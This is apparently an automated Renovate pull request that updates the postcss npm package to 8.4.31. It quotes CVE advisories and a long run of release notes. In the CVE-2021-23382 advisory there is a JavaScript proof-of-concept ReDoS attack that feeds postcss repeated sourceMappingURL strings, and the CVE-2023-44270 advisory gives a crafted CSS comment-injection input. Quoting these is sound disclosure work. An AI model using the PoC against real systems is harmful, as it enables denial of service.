Update dependency postcss to v8.4.31 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
postcss (source)	8.1.1 -> 8.4.31

GitHub Vulnerability Alerts

CVE-2021-23368

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

CVE-2021-23382

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

CVE-2023-44270

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

---

Release Notes

postcss/postcss (postcss)

v8.4.31

Compare Source

• Fixed \r parsing to fix CVE-2023-44270.

v8.4.30

Compare Source

• Improved source map performance (by Romain Menke).

v8.4.29

Compare Source

• Fixed Node#source.offset (by Ido Rosenthal).
• Fixed docs (by Christian Oliff).

v8.4.28

Compare Source

• Fixed Root.source.end for better source map (by Romain Menke).
• Fixed Result.root types when process() has no parser.

v8.4.27

Compare Source

• Fixed Container clone methods types.

v8.4.26

Compare Source

• Fixed clone methods types.

v8.4.25

Compare Source

• Improve stringify performance (by Romain Menke).
• Fixed docs (by @​vikaskaliramna07).

v8.4.24

Compare Source

• Fixed Plugin types.

v8.4.23

Compare Source

• Fixed warnings in TypeDoc.

v8.4.22

Compare Source

• Fixed TypeScript support with node16 (by Remco Haszing).

v8.4.21

Compare Source

• Fixed Input#error types (by Aleks Hudochenkov).

v8.4.20

Compare Source

• Fixed source map generation for childless at-rules like @layer.

v8.4.19

Compare Source

• Fixed whitespace preserving after AST transformations (by Romain Menke).

v8.4.18

Compare Source

• Fixed an error on absolute: true with empty sourceContent (by Rene Haas).

v8.4.17

Compare Source

• Fixed Node.before() unexpected behavior (by Romain Menke).
• Added TOC to docs (by Mikhail Dedov).

v8.4.16

Compare Source

• Fixed Root AST migration.

v8.4.15

Compare Source

• Fixed AST normalization after using custom parser with old PostCSS AST.

v8.4.14

Compare Source

• Print “old plugin API” warning only if plugin was used (by @​zardoy).

v8.4.13

Compare Source

• Fixed append() error after using .parent (by Jordan Pittman).

v8.4.12

Compare Source

• Fixed package.funding to have same value between all PostCSS packages.

v8.4.11

Compare Source

• Fixed Declaration#raws.value type.

v8.4.10

Compare Source

• Fixed package.funding URL format.

v8.4.9

Compare Source

• Fixed package.funding (by Álvaro Mondéjar).

v8.4.8

Compare Source

• Fixed end position in empty Custom Properties.

v8.4.7

Compare Source

• Fixed Node#warn() type (by Masafumi Koba).
• Fixed comment removal in values after ,.

v8.4.6

Compare Source

• Prevented comment removing when it change meaning of CSS.
• Fixed parsing space in last semicolon-less CSS Custom Properties.
• Fixed comment cleaning in CSS Custom Properties with space.
• Fixed throwing an error on .root access for plugin-less case.

v8.4.5

Compare Source

• Fixed raws types to make object extendable (by James Garbutt).
• Moved from Yarn 1 to pnpm.

v8.4.4

Compare Source

• Fixed absolute path in source map on zero plugins mode.

v8.4.3

Compare Source

• Fixed this.css.replace is not a function error.

v8.4.2

Compare Source

• Fixed Node#source.offset (by Ido Rosenthal).
• Fixed docs (by Christian Oliff).

v8.4.1

Compare Source

• Fixed whitespace preserving after AST transformations (by Romain Menke).

v8.4.0: 8.4 “President Camio”

Compare Source

PostCSS 8.4 brought ranges for warnings and errors, smaller node_modules size, lazy parsing to avoid PostCSS does nothing warning, and TypeScript fixes.

Thanks to Sponsors

This release was possible thanks to our community.

If your company wants to support the sustainability of front-end infrastructure or wants to give some love to PostCSS, you can join our supporters by:

• Tidelift with a Spotify-like subscription model supporting all projects from your lock file.
• Direct donations in PostCSS & Autoprefixer Open Collective.

Rages for Errors and Warnings

@​adalinesimonian, the author of amazing Stylelint extension for VS Code, added ranges to errors and warnings.

result.warn(msg, { index })           // One character warning at index
result.warn(msg, { endIndex })        // Starts at node start, ends at endIndex
result.warn(msg, { index, endIndex }) // Starts at index, ends at endIndex
result.warn(msg, { start })           // Starts at start, ends at node end
result.warn(msg, { end })             // Starts at node start, ends at end
result.warn(msg, { start, end })      // Starts at start, ends at end
result.warn(msg, { word })            // Starts at word location, ends at word index + length

It will improve DX in the IDE extension.

Lazy Parsing

Previously, we found that many tools run PostCSS even if the developer didn’t pass any PostCSS plugins. Parsing is the most expensive step in CSS processing. It led to a waste of resources without any reason.

We tried to resolve the problem by adding a PostCSS does nothing warning. But it didn’t force tool authors to be more careful with user’s resources.

If PostCSS sees that tool call it without passing plugins (or changing parser/stringifier), PostCSS will not parse CSS (until toll will call Result#root). In 8.4, @​bogdan0083 (with the help of @​WilhelmYakunin) tries to solve the problem in another way. It allows us to save resources and remove the PostCSS does nothing warning.

// No plugins, we do not parse CSS
let result = await postcss().process(css, { from  })
result.css  // Is the same string passed to process()
result.map  // Special 1-to-1 source map
result.root // CSS will parsed only here

Install Size Reduction

With ≈60M weekly downloads, PostCSS has responsibility for the world’s resource spending.

Together with @​7rulnik we reduced source-map-js size. It is transitive dependency of PostCSS.

In 8.4, we moved to a fixed version of source-map-js, which reduced the postcss size in your node_modules from ≈1 MB to 0.3 MB. With the huge popularity of PostCSS, it will free a lot of resources on our CIs.

Migration from Jest to uvu

@​kimoofey refactored all tests from the popular Jest framework to small and fast uvu.

It will not affect end-users. However, it reduced our node_modules size by 33 MB and made tests twice faster (yarn install & yarn unit: 24 → 13 seconds).

TypeScript Fixes

• Added Processor types.
• Added Stringifier types (by @​43081j).
• Fixed types Root and Document in result values (by @​43081j).
• Fixed Node#walkRules() types (by @​hudochenkov).

Other Changes

• Fixed docs (by @​paulshryock).

v8.3.11

Compare Source

• Remove debugging code.

v8.3.10

Compare Source

• Fixed Maximum call stack issue of some source maps (by Yeting Li).

v8.3.9

Compare Source

• Replaced nanocolors to picocolors.
• Reduced package size.

v8.3.8

Compare Source

• Update nanocolors.

v8.3.7

Compare Source

• Replaced colorette to nanocolors.
• Added bug field to package.json (by Christian Oliff).
• Improved docs (by Andrew Bruce and Paul Shryock).

v8.3.6

Compare Source

• Fixed column in missed semicolon error (by @​Gusted).

v8.3.5

Compare Source

• Fixed broken AST detection.

v8.3.4

Compare Source

• Fixed broken AST detection.

v8.3.3

Compare Source

• Fixed broken AST on postcss dependency duplication in custom parsers.

v8.3.2

Compare Source

• Update changelog.

v8.3.1

Compare Source

• Remove debugging code.

v8.3.0: 8.3 “Duke Murmur”

Compare Source

PostCSS 8.3 improved source map parsing performance, added Node#assign() shortcut, and experimental Document node to AST.

Thanks to Sponsors

This release was possible thanks to our community.

If your company wants to support the sustainability of front-end infrastructure or wants to give some love to PostCSS, you can join our supporters by:

• Tidelift with a Spotify-like subscription model supporting all projects from your lock file.
• Direct donations in PostCSS & Autoprefixer Open Collective.

Source Map Performance

Because PostCSS needs synchronous API, we can’t move from the old `source-map 0.6 to 0.7 (many other open-source projects too).

@​7rulnik forked source-map 0.6 to source-map-js and back-ported performance improvements from 0.7. In 8.3 we switched from source-map to this source-map-js fork.

You map see 4x performance improvements in parsing map from processing step before PostCSS (for instance, Sass).

Document Nodes

Thanks to @​gucong3000, PostCSS already parse CSS from HTML and JS files (CSS-in-JS templates and objects).

But his plugin need big updates. @​hudochenkov from stylelint team decided to create new parsers for styles inside CSS-in-JS, HTML, and Markdown.

He suggested adding new Document node type to PostCSS AST to keep multiple Root nodes inside and JS/HTML/Markdown code blocks between these style blocks.

const document = htmlParser(
  '<html><style>a{color:black}</style><style>b{z-index:2}</style>'
)
document.type          //=> 'document'
document.nodes.length  //=> 2
document.nodes[0].type //=> 'root'

This is an experimental feature. Some aspects of this node could change within minor or patch version releases.

Node#assign() Shortcut

The creator of famous postcss-preset-env and many other PostCSS tools, @​jonathantneal suggested a nice shortcut to change multiple properties in the node:

decl.assign({ prop: 'word-wrap', value: 'break-word' })

v8.2.15

Compare Source

• Fixed list type definitions (by @​n19htz).

v8.2.14

Compare Source

• Removed source-map from client-side bundle (by Barak Igal).

v8.2.13

Compare Source

• Fixed ReDoS vulnerabilities in source map parsing (by Yeting Li).

v8.2.12

Compare Source

• Fixed package.json exports.

v8.2.11

Compare Source

• Fixed DEP0148 warning in Node.js 16.
• Fixed docs (by @​semiromid).

v8.2.10

Compare Source

• Fixed ReDoS vulnerabilities in source map parsing.
• Fixed webpack 5 support (by Barak Igal).
• Fixed docs (by Roeland Moors).

v8.2.9

Compare Source

• Exported NodeErrorOptions type (by Rouven Weßling).

v8.2.8

Compare Source

• Fixed browser builds in webpack 4 (by Matt Jones).

v8.2.7

Compare Source

• Fixed browser builds in webpack 5 (by Matt Jones).

v8.2.6

Compare Source

• Fixed Maximum call stack size exceeded in Node#toJSON.
• Fixed docs (by inokawa).

v8.2.5

Compare Source

• Fixed escaped characters handling in list.split (by Natalie Weizenbaum).

v8.2.4

Compare Source

• Added plugin name to postcss.plugin() warning (by Tom Williams).
• Fixed docs (by Bill Columbia).

v8.2.3

Compare Source

• Fixed JSON.stringify(Node[]) support (by Niklas Mischkulnig).

v8.2.2

Compare Source

• Fixed CSS-in-JS support (by James Garbutt).
• Fixed plugin types (by Ludovico Fischer).
• Fixed Result#warn() types.

v8.2.1

Compare Source

• Fixed list type definitions (by @​n19htz).

v8.2.0: 8.2 “Prince Orobas”

Compare Source

PostCSS 8.2 added a new API to serialize and deserialize CSS AST to JSON.

import { parse, fromJSON } from 'postcss'

let root = parse('a{}', { from: 'input.css' })
let json = root.toJSON()
// save to file, send by network, etc
let root2 = fromJSON(json)

Thanks to @​mischnic for his work.

v8.1.14

Compare Source

• Fixed parser performance regression.

v8.1.13

Compare Source

• Fixed broken AST after moving nodes in visitor API.

v8.1.12

Compare Source

• Fixed Autoprefixer regression.

v8.1.11

Compare Source

• Added PostCSS update suggestion on unknown event in plugin.

v8.1.10

Compare Source

• Fixed LazyResult type export (by Evan You).
• Fixed LazyResult type compatibility with Promise (by Anton Kastritskiy).

v8.1.9

Compare Source

• Reduced dependencies number (by Bogdan Chadkin).

v8.1.8

Compare Source

• Fixed LazyResult type compatibility with Promise (by Ludovico Fischer).
• Fixed HTTPS links in documentation.

v8.1.7

Compare Source

• Fixed import support in TypeScript (by Remco Haszing).

v8.1.6

Compare Source

• Reverted package.exports Node.js 15 fix.

v8.1.5

Compare Source

• Fixed Node.js 15 warning (by 沈鸿飞).

v8.1.4

Compare Source

• Fixed TypeScript definition (by Arthur Petrie).

v8.1.3

Compare Source

• Added package.types.

v8.1.2

Compare Source

• Fixed API docs (by Arthur Petrie).
• Improved plugin guide (by Yunus Gaziev).
• Prepared code base for Deno support (by Oscar Otero).

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.